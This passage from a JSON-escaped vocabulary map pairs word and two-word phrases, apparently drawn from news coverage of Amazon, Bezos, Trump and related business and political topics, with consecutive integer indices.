\"navigation\": 186513,\n  \"speeds wrong\": 186514,\n  \"strong income\": 186515,\n  \"901 000\": 186516,\n  \"marijuana etf\": 186517,\n  \"isgur\": 186518,\n  \"current cultural\": 186519,\n  \"rosenstein set\": 186520,\n  \"called marketplace\": 186521,\n  \"janice\": 186522,\n  \"broadway books\": 186523,\n  \"east jerusalem\": 186524,\n  \"mcdougal 150\": 186525,\n  \"lf2\": 186526,\n  \"hinged opening\": 186527,\n  \"website providing\": 186528,\n  \"gadgets\": 186529,\n  \"lead counsel\": 186530,\n  \"upward wage\": 186531,\n  \"amazon stole\": 186532,\n  \"emails sent\": 186533,\n  \"obtained\": 186534,\n  \"1795 month\": 186535,\n  \"headquarters including\": 186536,\n  \"understand\": 186537,\n  \"different context\": 186538,\n  \"sets tax\": 186539,\n  \"malfunctioning robot\": 186540,\n  \"distress broward\": 186541,\n  \"largest warehouse\": 186542,\n  \"hand select\": 186543,\n  \"goodreads\": 186544,\n  \"energetic\": 186545,\n  \"houston city\": 186546,\n  \"package aimed\": 186547,\n  \"immigrants vote\": 186548,\n  \"health\": 186549,\n  \"glitchy prime\": 186550,\n  \"service ladd\": 186551,\n  \"leads visit\": 186552,\n  \"historian clayborne\": 186553,\n  \"new message\": 186554,\n  \"100 meal\": 186555,\n  \"journalism taxes\": 186556,\n  \"finance betsy\": 186557,\n  \"occurrence\": 186558,\n  \"misunderstanding\": 186559,\n  \"multiplication kids\": 186560,\n  \"cw\": 186561,\n  \"recently bought\": 186562,\n  \"meagre\": 186563,\n  \"leaks according\": 186564,\n  \"amazon size\": 186565,\n  \"based chain\": 186566,\n  \"2015 nuclear\": 186567,\n  \"supported nixon\": 186568,\n  \"michael wolf\": 186569,\n  \"think stocks\": 186570,\n  \"critical according\": 186571,\n  \"teen testifies\": 186572,\n  \"adding office\": 186573,\n  \"boycottwalmart reports\": 186574,\n  \"ordered commission\": 186575,\n  \"yorker writer\": 186576,\n  \"applewhite\": 186577,\n  \"debut collection\": 186578,\n  \"miners club\": 186579,\n  \"tax brian\": 186580,\n  \"050 accounts\": 186581,\n  \"babies 2018\": 186582,\n  \"demand choice\": 186583,\n  \"interests following\": 186584,\n  \"wrote google\": 186585,\n  \"subtraction multiplication\": 186586,\n  \"plates\": 186587,\n  \"deployments harm\": 186588,\n  \"comments bs_link\": 186589,\n  \"porn industry\": 186590,\n  \"bryant hamill\": 186591,\n  \"local leaders\": 186592,\n  \"markupid\": 186593,\n  \"contessa brewer\": 186594,\n  \"recent departure\": 186595,\n  \"data mining\": 186596,\n  \"overturned state\": 186597,\n  \"week publishers\": 186598,\n  \"strange choice\": 186599,\n  \"oakley\": 186600,\n  \"presumably sensitive\": 186601,\n  \"task facebook\": 186602,\n  \"power issues\": 186603,\n  \"america founded\": 186604,\n  \"stock tanked\": 186605,\n  \"fascinating infuriating\": 186606,\n  \"sputtering\": 186607,\n  \"sulllivan europe\": 186608,\n  \"powerful\": 186609,\n  \"1549579861000 trump\": 186610,\n  \"yelp iheartradio\": 186611,\n  \"physical\": 186612,\n  \"relational\": 186613,\n  \"ideas minus\": 186614,\n  \"hold\": 186615,\n  \"placing tariffs\": 186616,\n  \"versus 2017\": 186617,\n  \"media giant\": 186618,\n  \"pammie\": 186619,\n  \"laos\": 186620,\n  \"adapt\": 186621,\n  \"notorious labor\": 186622,\n  \"overconfident\": 186623,\n  \"intalled\": 186624,\n  \"trading 8211\": 186625,\n  \"overdue retirement\": 186626,\n  \"map pinpointing\": 186627,\n  \"accepted jesus\": 186628,\n  \"wrongly appeared\": 186629,\n  \"wunderman president\": 186630,\n  \"collins book\": 186631,\n  \"siphoning\": 186632,\n  \"trivialize\": 186633,\n  \"going rocket\": 186634,\n  \"gouda\": 186635,\n  \"suppressed\": 186636,\n  \"quite\": 186637,\n  \"measured\": 186638,\n  \"slave trade\": 186639,\n  \"bezos neighborhood\": 186640,\n  \"coke clearly\": 186641,\n  \"groupe\": 186642,\n  \"needed answers\": 186643,\n  \"dangers posed\": 186644,\n  \"fortune best\": 186645,\n  \"work life\": 186646,\n  \"enter deals\": 186647,\n  \"pension obligations\": 186648,\n  \"scrub\": 186649,\n  \"powerful denial\": 186650,\n  \"blamed fellow\": 186651,\n  \"program person\": 186652,\n  \"virtues better\": 186653,\n  \"ohio special\": 186654,\n  \"won house\": 186655,\n  \"twitter newsnatasha\": 186656,\n  \"h0 ximpeach\": 186657,\n  \"alternative history\": 186658,\n  \"ice contracts\": 186659,\n  \"auburndale\": 186660,\n  \"court blocked\": 186661,\n  \"hair color\": 186662,\n  \"doing just\": 186663,\n  \"polly voice\": 186664,\n  \"practice john\": 186665,\n  \"emily watson\": 186666,\n  \"council approval\": 186667,\n  \"gaza hamas\": 186668,\n  \"gsa anne\": 186669,\n  \"veterans driven\": 186670,\n  \"provider gig\": 186671,\n  \"holders 1q\": 186672,\n  \"qanon gear\": 186673,\n  \"study showed\": 186674,\n  \"tumultuous years\": 186675,\n  \"unquantified\": 186676,\n  \"ago discovered\": 186677,\n  \"collect food\": 186678,\n  \"protesting\": 186679,\n  \"biggs az\": 186680,\n  \"gianaris\": 186681,\n  \"barrel\": 186682,\n  \"says congress\": 186683,\n  \"siena\": 186684,\n  \"chef judge\": 186685,\n  \"office controlled\": 186686,\n  \"corporation tax\": 186687,\n  \"mngmt\": 186688,\n  \"strong escaped\": 186689,\n  \"santacon\": 186690,\n  \"data caps\": 186691,\n  \"standards set\": 186692,\n  \"far left\": 186693,\n  \"house lobbying\": 186694,\n  \"today donald\": 186695,\n  \"businesses business\": 186696,\n  \"jon grab\": 186697,\n  \"refn longtime\": 186698,\n  \"amazon trumpocracy\": 186699,\n  \"media failing\": 186700,\n  \"officer google\": 186701,\n  \"leader craig\": 186702,\n  \"wmur\": 186703,\n  \"developing corporate\": 186704,\n  \"study history\": 186705,\n  \"amazon pours\": 186706,\n  \"legitimate antitrust\": 186707,\n  \"improve care\": 186708,\n  \"simple lot\": 186709,\n  \"new solutions\": 186710,\n  \"microscope media\": 186711,\n  \"sacred heart\": 186712,\n  \"founders\": 186713,\n  \"cio trump\": 186714,\n  \"weekly politics\": 186715,\n  \"annual reports\": 186716,\n  \"steven harris\": 186717,\n  \"amazon palantir\": 186718,\n  \"flights unidentified\": 186719,\n  \"challenged conduct\": 186720,\n  \"selling politics\": 186721,\n  \"including discounts\": 186722,\n  \"industry retail\": 186723,\n  \"big reveal\": 186724,\n  \"portfolio conning\": 186725,\n  \"wheels underneath\": 186726,\n  \"billion valuation\": 186727,\n  \"modern city\": 186728,\n  \"money later\": 186729,\n  \"matter sanchez\": 186730,\n  \"smaller rivals\": 186731,\n  \"tossing unneeded\": 186732,\n  \"accumulating patent\": 186733,\n  \"rule states\": 186734,\n  \"bezos 150\": 186735,\n  \"channels collaborating\": 186736,\n  \"shot database\": 186737,\n  \"credible advertising\": 186738,\n  \"employees related\": 186739,\n  \"commondreams new\": 186740,\n  \"bezos tweeting\": 186741,\n  \"melissa\": 186742,\n  \"source quartz\": 186743,\n  \"dleonard12 bloomberg\": 186744,\n  \"continued surge\": 186745,\n  \"rated pictures\": 186746,\n  \"spokesman adam\": 186747,\n  \"term lease\": 186748,\n  \"deputy governor\": 186749,\n  \"richard morton\": 186750,\n  \"virginia suburb\": 186751,\n  \"american gigolo\": 186752,\n  \"visits state\": 186753,\n  \"sean adams\": 186754,\n  \"giant broke\": 186755,\n  \"leftist narrative\": 186756,\n  \"fatal blow\": 186757,\n  \"million activity\": 186758,\n  \"1q eps\": 186759,\n  \"accuse rep\": 186760,\n  \"savior\": 186761,\n  \"bringing prominent\": 186762,\n  \"locating tenth\": 186763,\n  \"state rep\": 186764,\n  \"worship satan\": 186765,\n  \"salvador el\": 186766,\n  \"setinterval r4ee\": 186767,\n  \"south brooklyn\": 186768,\n  \"tax purposefully\": 186769,\n  \"beeson jared\": 186770,\n  \"populated amazon\": 186771,\n  \"spokesperson jodi\": 186772,\n  \"incidentally\": 186773,\n  \"trump injurious\": 186774,\n  \"just microsoft\": 186775,\n  \"goods buyers\": 186776,\n  \"paying massive\": 186777,\n  \"dows 200\": 186778,\n  \"huckabee sanders\": 186779,\n  \"onaws outposts\": 186780,\n  \"4741\": 186781,\n  \"passed massive\": 186782,\n  \"chipping\": 186783,\n  \"multiple vaccines\": 186784,\n  \"prakash\": 186785,\n  \"payers\": 186786,\n  \"person signing\": 186787,\n  \"address complaints\": 186788,\n  \"videocmsurl video\": 186789,\n  \"la film\": 186790,\n  \"netflix deal\": 186791,\n  \"experience allows\": 186792,\n  \"consumers increasingly\": 186793,\n  \"lead investigator\": 186794,\n  \"dignified uniforms\": 186795,\n  \"camouflaged\": 186796,\n  \"service proposal\": 186797,\n  \"blankets\": 186798,\n  \"utx\": 186799,\n  \"evolution sharing\": 186800,\n  \"incredibly complex\": 186801,\n  \"year tweeting\": 186802,\n  \"potential ammunition\": 186803,\n  \"380 000\": 186804,\n  \"maria stay\": 186805,\n  \"report released\": 186806,\n  \"contracts services\": 186807,\n  \"entertainment video\": 186808,\n  \"dragon\": 186809,\n  \"considerable injection\": 186810,\n  \"fedex corp\": 186811,\n  \"added 196\": 186812,\n  \"trump proceeds\": 186813,\n  \"passage press\": 186814,\n  \"finalists forte\": 186815,\n  \"designated opportunity\": 186816,\n  \"sonyliv embedded\": 186817,\n  \"norfolk southern\": 186818,\n  \"moralizing\": 186819,\n  \"clock restorer\": 186820,\n  \"weren trading\": 186821,\n  \"sharp losses\": 186822,\n  \"aws represented\": 186823,\n  \"serrano ny\": 186824,\n  \"major turning\": 186825,\n  \"total political\": 186826,\n  \"save paper\": 186827,\n  \"objectives\": 186828,\n  \"t9x d0\": 186829,\n  \"tweets colbert\": 186830,\n  \"americans economy\": 186831,\n  \"monstrous\": 186832,\n  \"caravan ad\": 186833,\n  \"authored total\": 186834,\n  \"devastating stories\": 186835,\n  \"life changes\": 186836,\n  \"negotiate bezos\": 186837,\n  \"agree warren\": 186838,\n  \"independent redistricting\": 186839,\n  \"packaging ignoring\": 186840,\n  \"golden globes8\": 186841,\n  \"leading investors\": 186842,\n  \"amazon shelves\": 186843,\n  \"insinuated donald\": 186844,\n  \"revised deal\": 186845,\n  \"hammered mccain\": 186846,\n  \"incompetence\": 186847,\n  \"bomber court\": 186848,\n  \"flak jacket\": 186849,\n  \"jennifer holmgren\": 186850,\n  \"jessicabruder created\": 186851,\n  \"bezos frequently\": 186852,\n  \"early point\": 186853,\n  \"policy expertise\": 186854,\n  \"military officer\": 186855,\n  \"blackburntrump\": 186856,\n  \"billion shares\": 186857,\n  \"summit deranged\": 186858,\n  \"avoided talking\": 186859,\n  \"disney comcast\": 186860,\n  \"additional discounts\": 186861,\n  \"religious leaders\": 186862,\n  \"jones told\": 186863,\n  \"story charts\": 186864,\n  \"silent amazon\": 186865,\n  \"nyse cvx\": 186866,\n  \"photo kevin\": 186867,\n  \"square miles\": 186868,\n  \"currently puts\": 186869,\n  \"withdrawn reuters\": 186870,\n  \"personal power\": 186871,\n  \"liberty education\": 186872,\n  \"criminal conspiracy\": 186873,\n  \"exterior large\": 186874,\n  \"love nests\": 186875,\n  \"ium\": 186876,\n  \"ar niantic\": 186877,\n  \"justified considering\": 186878,\n  \"government effectiveness\": 186879,\n  \"campaign donald\": 186880,\n  \"promo\": 186881,\n  \"cnnpolitics\": 186882,\n  \"gmt ap\": 186883,\n  \"salacious read\": 186884,\n  \"say steve\": 186885,\n  \"splc designates\": 186886,\n  \"policy tools\": 186887,\n  \"officials caught\": 186888,\n  \"amazon 561\": 186889,\n  \"hearing lot\": 186890,\n  \"castlevania photo\": 186891,\n  \"patty asks\": 186892,\n  \"startup called\": 186893,\n  \"year option\": 186894,\n  \"library enc\": 186895,\n  \"expeditions venture\": 186896,\n  \"book starr\": 186897,\n  \"dinghy capsized\": 186898,\n  \"1721086080\": 186899,\n  \"margaret worked\": 186900,\n  \"india visit\": 186901,\n  \"synapse\": 186902,\n  \"buffalo ii\": 186903,\n  \"mnuchin house\": 186904,\n  \"shows available\": 186905,\n  \"siegel\": 186906,\n  \"marjon\": 186907,\n  \"season showed\": 186908,\n  \"police communities\": 186909,\n  \"cosponsor\": 186910,\n  \"members work\": 186911,\n  \"solomon stinson\": 186912,\n  \"headcount 247\": 186913,\n  \"new employee\": 186914,\n  \"catril senior\": 186915,\n  \"ahmann\": 186916,\n  \"popular alexa\": 186917,\n  \"agenda\": 186918,\n  \"history shows\": 186919,\n  \"separate ways\": 186920,\n  \"south china\": 186921,\n  \"crime drug\": 186922,\n  \"dwdp\": 186923,\n  \"ami presented\": 186924,\n  \"having recently\": 186925,\n  \"pursued stories\": 186926,\n  \"itstill\": 186927,\n  \"writing bezos\": 186928,\n  \"jay clayton\": 186929,\n  \"retiring early\": 186930,\n  \"faulted\": 186931,\n  \"global megacorporations\": 186932,\n  \"benefit workers\": 186933,\n  \"eminently worth\": 186934,\n  \"administration harsh\": 186935,\n  \"paul business\": 186936,\n  \"years struggling\": 186937,\n  \"using twitter\": 186938,\n  \"possible shipping\": 186939,\n  \"site operating\": 186940,\n  \"nonetheless mnuchin\": 186941,\n  \"magazine parent\": 186942,\n  \"station public\": 186943,\n  \"provides\": 186944,\n  \"freedom particularly\": 186945,\n  \"cities desperate\": 186946,\n  \"pass permanent\": 186947,\n  \"abuse texas\": 186948,\n  \"sanders helped\": 186949,\n  \"taxpayers mnuchin\": 186950,\n  \"unenroll\": 186951,\n  \"pauly\": 186952,\n  \"entire state\": 186953,\n  \"art collector\": 186954,\n  \"thespian\": 186955,\n  \"stockings\": 186956,\n  \"resumed discussions\": 186957,\n  \"appropriation process\": 186958,\n  \"department wants\": 186959,\n  \"wished amazon\": 186960,\n  \"beast pointed\": 186961,\n  \"colorful maker\": 186962,\n  \"mexico southern\": 186963,\n  \"ambition corruption\": 186964,\n  \"meetings conveniently\": 186965,\n  \"product studies\": 186966,\n  \"opponents state\": 186967,\n  \"perceived added\": 186968,\n  \"schultz preferred\": 186969,\n  \"grocery industry\": 186970,\n  \"mcnew imageurl\": 186971,\n  \"korea\": 186972,\n  \"marked trucks\": 186973,\n  \"quarter report\": 186974,\n  \"reflects little\": 186975,\n  \"amazon forecasts\": 186976,\n  \"interrupted run\": 186977,\n  \"headquarters operations\": 186978,\n  \"justice department\": 186979,\n  \"conversely mattel\": 186980,\n  \"stamps envelopes\": 186981,\n  \"today minimum\": 186982,\n  \"traded publicly\": 186983,\n  \"building relationships\": 186984,\n  \"export market\": 186985,\n  \"selling dozens\": 186986,\n  \"distribution facilities\": 186987,\n  \"owner did\": 186988,\n  \"ran 100\": 186989,\n  \"benettons highway\": 186990,\n  \"supported hillary\": 186991,\n  \"cancelsend sent\": 186992,\n  \"1770\": 186993,\n  \"strategist susan\": 186994,\n  \"mm preparations\": 186995,\n  \"weeklong round\": 186996,\n  \"funny hamlin\": 186997,\n  \"line vote\": 186998,\n  \"levels 135\": 186999,\n  \"think tech\": 187000,\n  \"unflattering moments\": 187001,\n  \"muilenburg ernst\": 187002,\n  \"liquidated invested\": 187003,\n  \"government role\": 187004,\n  \"cap tech\": 187005,\n  \"impost\": 187006,\n  \"away speaking\": 187007,\n  \"tabloid group\": 187008,\n  \"ostensibly free\": 187009,\n  \"onvideocarouselitemclicked evt\": 187010,\n  \"trade amrith\": 187011,\n  \"security committee\": 187012,\n  \"regulatory law\": 187013,\n  \"2018 twitter\": 187014,\n  \"administration appointee\": 187015,\n  \"padding\": 187016,\n  \"locked away\": 187017,\n  \"maximize holiday\": 187018,\n  \"payments 2018\": 187019,\n  \"alphabet tax\": 187020,\n  \"popular line\": 187021,\n  \"stereotypes indian\": 187022,\n  \"just sawamazon\": 187023,\n  \"protect brazilian\": 187024,\n  \"blasio scrambled\": 187025,\n  \"attract world\": 187026,\n  \"site algorithms\": 187027,\n  \"uh remote\": 187028,\n  \"ended sept\": 187029,\n  \"house border\": 187030,\n  \"shipping topped\": 187031,\n  \"blasio brad\": 187032,\n  \"gender gap\": 187033,\n  \"foundations charity\": 187034,\n  \"funding shutdown\": 187035,\n  \"yiwu international\": 187036,\n  \"helped pull\": 187037,\n  \"davidson recently\": 187038,\n  \"lonergan\": 187039,\n  \"survivalist family\": 187040,\n  \"coaster\": 187041,\n  \"winning championship\": 187042,\n  \"lady cathedral\": 187043,\n  \"credit hours\": 187044,\n  \"paralympic swim\": 187045,\n  \"stopped covering\": 187046,\n  \"great wiring\": 187047,\n  \"lewiston trump\": 187048,\n  \"multi billionaire\": 187049,\n  \"worth estimated\": 187050,\n  \"provide missing\": 187051,\n  \"community fight\": 187052,\n  \"told cnn\": 187053,\n  \"apparent blast\": 187054,\n  \"lie bob\": 187055,\n  \"harboring\": 187056,\n  \"wing southern\": 187057,\n  \"organization itep\": 187058,\n  \"increasingly reliant\": 187059,\n  \"reported 113\": 187060,\n  \"members provide\": 187061,\n  \"healthy fighting\": 187062,\n  \"accuracy especially\": 187063,\n  \"small manufacturer\": 187064,\n  \"trump statements\": 187065,\n  \"inappropriate behavior\": 187066,\n  \"grinch mitchell\": 187067,\n  \"engine amphibious\": 187068,\n  \"says paper\": 187069,\n  \"2019 did\": 187070,\n  \"dishonesty trump\": 187071,\n  \"funding mandate\": 187072,\n  \"sports streaming\": 187073,\n  \"peer average\": 187074,\n  \"soares\": 187075,\n  \"239\": 187076,\n  \"lone honest\": 187077,\n  \"evergreen enemy\": 187078,\n  \"nation borders\": 187079,\n  \"small percentage\": 187080,\n  \"amazon employment\": 187081,\n  \"county oregon\": 187082,\n  \"initial report\": 187083,\n  \"motley campaign\": 187084,\n  \"partner according\": 187085,\n  \"north korean\": 187086,\n  \"doesn succeed\": 187087,\n  \"wasson\": 187088,\n  \"medicrea\": 187089,\n  \"foods locations\": 187090,\n  \"better time\": 187091,\n  \"driehaus\": 187092,\n  \"318\": 187093,\n  \"idea candid\": 187094,\n  \"staff spread\": 187095,\n  \"megadonor steyer\": 187096,\n  \"cummins riley\": 187097,\n  \"economic changes\": 187098,\n  \"fed seat\": 187099,\n  \"trump boasted\": 187100,\n  \"ordinary\": 187101,\n  \"automated\": 187102,\n  \"data cross\": 187103,\n  \"thing uglier\": 187104,\n  \"sized fleet\": 187105,\n  \"chinese leadership\": 187106,\n  \"product itemizing\": 187107,\n  \"krikorian\": 187108,\n  \"day especially\": 187109,\n  \"va metro\": 187110,\n  \"dow added\": 187111,\n  \"box car\": 187112,\n  \"2018 annual\": 187113,\n  \"rationales\": 187114,\n  \"officials current\": 187115,\n  \"tapaj\\u00f3s river\": 187116,\n  \"story bipartisan\": 187117,\n  \"undergo treatment\": 187118,\n  \"nyc premiere\": 187119,\n  \"hess\": 187120,\n  \"racine\": 187121,\n  \"amazon governments\": 187122,\n  \"new internet\": 187123,\n  \"young bartender\": 187124,\n  \"denis narcos\": 187125,\n  \"club\": 187126,\n  \"simple tips\": 187127,\n  \"rebuilding\": 187128,\n  \"illinois based\": 187129,\n  \"projects aimed\": 187130,\n  \"cking lunatic\": 187131,\n  \"central tech\": 187132,\n  \"anime series\": 187133,\n  \"names greatly\": 187134,\n  \"posing\": 187135,\n  \"trashed\": 187136,\n  \"particular kiss\": 187137,\n  \"scrap plans\": 187138,\n  \"journal wsj\": 187139,\n  \"example retailer\": 187140,\n  \"making murderer\": 187141,\n  \"critical month\": 187142,\n  \"fides\": 187143,\n  \"sleepy ritzy\": 187144,\n  \"guitar picks\": 187145,\n  \"saw picture\": 187146,\n  \"massive fundraising\": 187147,\n  \"backing\": 187148,\n  \"contact pheffer\": 187149,\n  \"black ops\": 187150,\n  \"cypress cap\": 187151,\n  \"commerce deliveries\": 187152,\n  \"credit leads\": 187153,\n  \"biggs told\": 187154,\n  \"rockwell painted\": 187155,\n  \"scratched\": 187156,\n  \"amazon game\": 187157,\n  \"2012 stacked\": 187158,\n  \"2020 funding\": 187159,\n  \"tailer\": 187160,\n  \"data practices\": 187161,\n  \"day elizabeth\": 187162,\n  \"fbi agents\": 187163,\n  \"republican retires\": 187164,\n  \"reinvestment act\": 187165,\n  \"service utilized\": 187166,\n  \"wants carve\": 187167,\n  \"service scrutinized\": 187168,\n  \"counterfeit detection\": 187169,\n  \"bezos sleazy\": 187170,\n  \"unpredictable rages\": 187171,\n  \"rocket man\": 187172,\n  \"2019 dt\": 187173,\n  \"erodes\": 187174,\n  \"bubble guppies\": 187175,\n  \"amazon criticism\": 187176,\n  \"kgeldzji5z tpm\": 187177,\n  \"era\": 187178,\n  \"michael arone\": 187179,\n  \"lawyer matthew\": 187180,\n  \"wind farms\": 187181,\n  \"house kavanaugh\": 187182,\n  \"kim reported\": 187183,\n  \"prosperity richard\": 187184,\n  \"photos monica\": 187185,\n  \"muted core\": 187186,\n  \"encourage pelosi\": 187187,\n  \"expense sooner\": 187188,\n  \"business behaviour\": 187189,\n  \"people want\": 187190,\n  \"country ms\": 187191,\n  \"copyrighted material\": 187192,\n  \"valid security\": 187193,\n  \"hellacious\": 187194,\n  \"black woman\": 187195,\n  \"toddlers\": 187196,\n  \"gems\": 187197,\n  \"saul\": 187198,\n  \"greatest challenge\": 187199,\n  \"lost earlier\": 187200,\n  \"reconstruction michigan\": 187201,\n  \"aeht huge\": 187202,\n  \"jezebel gothamist\": 187203,\n  \"national peace\": 187204,\n  \"elsie odom\": 187205,\n  \"craft\": 187206,\n  \"evasion tweeted\": 187207,\n  \"control opponents\": 187208,\n  \"brighteon\": 187209,\n  \"piece\": 187210,\n  \"government mortgage\": 187211,\n  \"confident amazon\": 187212,\n  \"device sent\": 187213,\n  \"heartland states\": 187214,\n  \"surprise bolsonaro\": 187215,\n  \"grounds oracle\": 187216,\n  \"british series\": 187217,\n  \"forgiving\": 187218,\n  \"writing congrats\": 187219,\n  \"poisonwood\": 187220,\n  \"mollie\": 187221,\n  \"amazon responded\": 187222,\n  \"asian guy\": 187223,\n  \"stranded leaving\": 187224,\n  \"crazies trump\": 187225,\n  \"reforms opportunity\": 187226,\n  \"boards\": 187227,\n  \"hill amazon\": 187228,\n  \"committees following\": 187229,\n  \"reviving\": 187230,\n  \"rebecca hall\": 187231,\n  \"137\": 187232,\n  \"contract isn\": 187233,\n  \"fortes\": 187234,\n  \"offer similar\": 187235,\n  \"study wildfires\": 187236,\n  \"c1 a4ee\": 187237,\n  \"seattle leaders\": 187238,\n  \"wants facebook\": 187239,\n  \"stop rebny\": 187240,\n  \"wireless keyboards\": 187241,\n  \"efr\": 187242,\n  \"writers journalists\": 187243,\n  \"nature pagoda\": 187244,\n  \"snap win\": 187245,\n  \"laurence fishburne\": 187246,\n  \"tumblr email\": 187247,\n  \"evening news\": 187248,\n  \"100 reasons\": 187249,\n  \"accurately captured\": 187250,\n  \"clearly accusing\": 187251,\n  \"additional information\": 187252,\n  \"lemire washington\": 187253,\n  \"pills nicknamed\": 187254,\n  \"volatile week\": 187255,\n  \"scribner ny\": 187256,\n  \"repeatedly refers\": 187257,\n  \"2018when\": 187258,\n  \"market creates\": 187259,\n  \"law collective\": 187260,\n  \"maximizedbannersize\": 187261,\n  \"amazon financial\": 187262,\n  \"breaking vote\": 187263,\n  \"brand shared\": 187264,\n  \"apply pressure\": 187265,\n  \"provincialism\": 187266,\n  \"gilded\": 187267,\n  \"background checks\": 187268,\n  \"mom pop\": 187269,\n  \"amazon entrance\": 187270,\n  \"polluter\": 187271,\n  \"law person\": 187272,\n  \"reviewers receive\": 187273,\n  \"williams charlotte\": 187274,\n  \"complaining\": 187275,\n  \"figure takes\": 187276,\n  \"laughs saw\": 187277,\n  \"families entering\": 187278,\n  \"macro\": 187279,\n  \"cameroonian writer\": 187280,\n  \"bizarre twisted\": 187281,\n  \"195229 sucking\": 187282,\n  \"lubin\": 187283,\n  \"investigation antitrust\": 187284,\n  \"investigative case\": 187285,\n  \"subscription required\": 187286,\n  \"policy claimed\": 187287,\n  \"mississippi gov\": 187288,\n  \"assuring\": 187289,\n  \"disney film\": 187290,\n  \"automated scanning\": 187291,\n  \"ufhonteva5\": 187292,\n  \"basic care\": 187293,\n  \"swallowing\": 187294,\n  \"nations event\": 187295,\n  \"condemn\": 187296,\n  \"environment slowed\": 187297,\n  \"turn profitthe\": 187298,\n  \"repeated tweets\": 187299,\n  \"capellades sola\": 187300,\n  \"video expresses\": 187301,\n  \"te\": 187302,\n  \"thing reuters\": 187303,\n  \"planned hamza\": 187304,\n  \"growing lines\": 187305,\n  \"tweeted boycott\": 187306,\n  \"quick disclosure\": 187307,\n  \"bezos personally\": 187308,\n  \"manning\": 187309,\n  \"chris cuomo\": 187310,\n  \"busy courting\": 187311,\n  \"seditious heart\": 187312,\n  \"stop complying\": 187313,\n  \"edie\": 187314,\n  \"business types\": 187315,\n  \"investment trusts\": 187316,\n  \"homelessness issue\": 187317,\n  \"feud adds\": 187318,\n  \"just flyers\": 187319,\n  \"omid\": 187320,\n  \"emirates saudiarabia\": 187321,\n  \"released statement\": 187322,\n  \"notion rubs\": 187323,\n  \"congressman\": 187324,\n  \"blasting\": 187325,\n  \"looking past\": 187326,\n  \"helps shed\": 187327,\n  \"retailers simon\": 187328,\n  \"utmost importance\": 187329,\n  \"chiselled red\": 187330,\n  \"afghanistan cost\": 187331,\n  \"effectively negated\": 187332,\n  \"totally dump\": 187333,\n  \"biggest influencers\": 187334,\n  \"leaker\": 187335,\n  \"recent high\": 187336,\n  \"time warehouse\": 187337,\n  \"board concludes\": 187338,\n  \"competition investigations\": 187339,\n  \"becker argued\": 187340,\n  \"told fbi\": 187341,\n  \"square feet\": 187342,\n  \"yields\": 187343,\n  \"president word\": 187344,\n  \"price war\": 187345,\n  \"veterans issues\": 187346,\n  \"explicitly targeted\": 187347,\n  \"rising consumer\": 187348,\n  \"investors\": 187349,\n  \"retail cloud\": 187350,\n  \"gaiman fantasy\": 187351,\n  \"challenges finding\": 187352,\n  \"talk growth\": 187353,\n  \"gears\": 187354,\n  \"congressman turned\": 187355,\n  \"practices accusing\": 187356,\n  \"private hands\": 187357,\n  \"venezuela protester\": 187358,\n  \"watergate\": 187359,\n  \"pfeiffer\": 187360,\n  \"aborted white\": 187361,\n  \"product page\": 187362,\n  \"olfactory glands\": 187363,\n  \"5438 emblazoned\": 187364,\n  \"173 000\": 187365,\n  \"riveting series\": 187366,\n  \"itinerant\": 187367,\n  \"features convenient\": 187368,\n  \"incongruencies\": 187369,\n  \"allof\": 187370,\n  \"day song\": 187371,\n  \"offthe bat\": 187372,\n  \"grocery chain\": 187373,\n  \"stingiest\": 187374,\n  \"sights set\": 187375,\n  \"clowns\": 187376,\n  \"florida department\": 187377,\n  \"atamanuik tonyatamanuik\": 187378,\n  \"pose risks\": 187379,\n  \"students expressing\": 187380,\n  \"audra\": 187381,\n  \"president sure\": 187382,\n  \"low wages\": 187383,\n  \"returntypeofr4ee\": 187384,\n  \"street grocery\": 187385,\n  \"riser\": 187386,\n  \"traditional tabloid\": 187387,\n  \"lisa beyer\": 187388,\n  \"rival politicians\": 187389,\n  \"featured performance\": 187390,\n  \"lambert\": 187391,\n  \"shopping giant\": 187392,\n  \"migrants coincides\": 187393,\n  \"robert allbritton\": 187394,\n  \"harsh treatment\": 187395,\n  \"legitimate regulating\": 187396,\n  \"subsidies amazon\": 187397,\n  \"story tv\": 187398,\n  \"efforts won\": 187399,\n  \"wasn russian\": 187400,\n  \"color\": 187401,\n  \"tech today\": 187402,\n  \"doesn amazon\": 187403,\n  \"people hate\": 187404,\n  \"michelle wolf\": 187405,\n  \"menaces florida\": 187406,\n  \"cigarette\": 187407,\n  \"anassistant secretary\": 187408,\n  \"shocking thing\": 187409,\n  \"novelist turned\": 187410,\n  \"nickelsburg new\": 187411,\n  \"inflated labor\": 187412,\n  \"openly threatens\": 187413,\n  \"armstrongabc11\": 187414,\n  \"americans read\": 187415,\n  \"arkansas lost\": 187416,\n  \"platform dorsey\": 187417,\n  \"fault new\": 187418,\n  \"braven\": 187419,\n  \"workforce contracted\": 187420,\n  \"kristenicoleast good\": 187421,\n  \"school businessman\": 187422,\n  \"totally amazed\": 187423,\n  \"valid electronic\": 187424,\n  \"000 store\": 187425,\n  \"veiled threats\": 187426,\n  \"pursued contrived\": 187427,\n  \"population centers\": 187428,\n  \"infantry\": 187429,\n  \"accurately recognize\": 187430,\n  \"border make\": 187431,\n  \"bozo pic\": 187432,\n  \"element cutformat\": 187433,\n  \"weakened considerably\": 187434,\n  \"numerous key\": 187435,\n  \"package\": 187436,\n  \"raton\": 187437,\n  \"cozy ex\": 187438,\n  \"inserts\": 187439,\n  \"amazon profits\": 187440,\n  \"sister dna\": 187441,\n  \"causing beer\": 187442,\n  \"extract efficiency\": 187443,\n  \"distinction\": 187444,\n  \"smallest stake\": 187445,\n  \"202 million\": 187446,\n  \"pacify\": 187447,\n  \"2020 starts\": 187448,\n  \"years usps\": 187449,\n  \"city credit\": 187450,\n  \"facebook aims\": 187451,\n  \"wire trump\": 187452,\n  \"diligent\": 187453,\n  \"reddit users\": 187454,\n  \"nato\": 187455,\n  \"pin promoting\": 187456,\n  \"aluminium tariffs\": 187457,\n  \"apache kafka\": 187458,\n  \"computing alan\": 187459,\n  \"havrilesky doubleday\": 187460,\n  \"sagging\": 187461,\n  \"studio audience\": 187462,\n  \"year minivans\": 187463,\n  \"vaccines contain\": 187464,\n  \"sketch barely\": 187465,\n  \"kavanaugh fbi\": 187466,\n  \"swept\": 187467,\n  \"ceo jamie\": 187468,\n  \"makes excellent\": 187469,\n  \"barbara pierce\": 187470,\n  \"stephanopoulos pressed\": 187471,\n  \"used vehicles\": 187472,\n  \"florida based\": 187473,\n  \"labeled bezos\": 187474,\n  \"determine price\": 187475,\n  \"burning censorship\": 187476,\n  \"great british\": 187477,\n  \"businesses trump\": 187478,\n  \"insurance products\": 187479,\n  \"joint interview\": 187480,\n 